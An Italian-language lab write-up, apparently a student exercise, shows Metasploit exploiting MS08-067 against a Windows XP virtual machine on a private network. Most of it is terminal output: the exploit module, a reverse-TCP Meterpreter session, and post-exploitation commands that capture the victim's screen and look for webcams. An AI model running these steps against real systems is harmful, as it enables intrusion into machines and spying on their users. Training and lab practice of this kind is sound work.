

Ancora andiamo ad usare metasploit, questa volta per iniziare una sessione meterpreter su nostra VM Windows XP.

Iniziamo metasploit con msfconsole, poi cerchiamo la vulnerabilità che ci hanno indicato di andare a sfruttare.

Selezionata la vulnerabilità, andiamo a vedere cosa dobbiamo configurare prima di lanciare l'attacco.

Dice di configurare RHOSTS, cioè l'ip della vittima che vogliamo attaccare.

```
kali@kali: ~  
File Actions Edit View Help  
rtt min/avg/max/mdev = 0.408/0.453/0.499/0.045 ms  
(kali@kali)-[~]  
msfconsole  
Metasploit tip: After running db_nmap, be sure to check out the result of hosts and services  
# cowsay++  
< metasploit >  
  \  (oo)_____\n  (oo)_____\n  (oo)_____\n  |_____| *  
      =[ metasploit v6.3.46-dev ]  
+ --=[ 2378 exploits - 1233 auxiliary - 416 post ]  
+ --=[ 1391 payloads - 46 encoders - 11 nops ]  
+ --=[ 9 evasion ]  
Metasploit Documentation: https://docs.metasploit.com/  
msf6 > search MS08-067  
Matching Modules  
# Name Disclosure Date Rank Check Description  
- - - - -  
0 exploit/windows/smb/ms08_067_netapi 2008-10-28 great Yes MS08-067 Microsoft Server Service Relative Path Stack Corruption  
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi  
msf6 > use 0  
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp  
msf6 exploit(windows/smb/ms08_067_netapi) > show options  
Module options (exploit/windows/smb/ms08_067_netapi):  
Name Current Setting Required Description  
- - - - -  
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html  
RPORT 445 yes The SMB service port (TCP)  
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
```

Una volta configurato rhosts, lanciamo l'attacco e bom, abbiamo una shell meterpreter dentro Windows XP. Facciamo un ifconfig per controllare, e poi un screengrab per prendere una cattura schermo della UI vittima.

```
kali@kali: ~  
File Actions Edit View Help  
Id Name  
--  
0 Automatic Targeting  
  
View the full module info with the info, or info -d command.  
msf6 exploit(windows/smb/ms08_067_netapi) > set rhosts 192.168.32.106  
rhosts => 192.168.32.106  
msf6 exploit(windows/smb/ms08_067_netapi) > exploit  
[*] Started reverse TCP handler on 192.168.32.104:4444  
[*] 192.168.32.106:445 - Automatically detecting the target...  
[*] 192.168.32.106:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Italian  
[*] 192.168.32.106:445 - Selected Target: Windows XP SP3 Italian (NX)  
[*] 192.168.32.106:445 - Attempting to trigger the vulnerability...  
[*] Sending stage (175686 bytes) to 192.168.32.106  
[*] Meterpreter session 1 opened (192.168.32.104:4444 -> 192.168.32.106:1034) at 2024-01-17 03:38:48 -0500  
  
meterpreter > ifconfig  
  
Interface 1  
-----  
Name : MS TCP Loopback interface  
Hardware MAC : 00:00:00:00:00:00  
MTU : 1520  
IPv4 Address : 127.0.0.1  
  
Interface 2  
-----  
Name : Scheda server Intel(R) PRO/1000 Gigabit - Miniport dell'Utilit  di pianificazione pacchetti  
Hardware MAC : 08:00:27:22:b4:42  
MTU : 1500  
IPv4 Address : 192.168.32.106  
IPv4 Netmask : 255.255.255.0  
  
meterpreter > screengrab  
[-] The "screengrab" command requires the "espia" extension to be loaded (run: `load espia`)  
meterpreter > load espia  
Loading extension espia... Success.  
meterpreter > screengrab  
Screenshot saved to: /home/kali/XuSSxBuP.jpeg  
meterpreter > screengrab  
Screenshot saved to: /home/kali/cxkdqllI.jpeg  
meterpreter > 
```

Eccola, la screenshot ha  
stato salvata nel nostro  
kali.

Ho provato anche a  
trovare delle webcam  
collegate a Windows XP,  
ma non ha trovata  
nessuna.

```
meterpreter > webcam_list
```

```
[*] No webcams were found
```

```
meterpreter > █
```

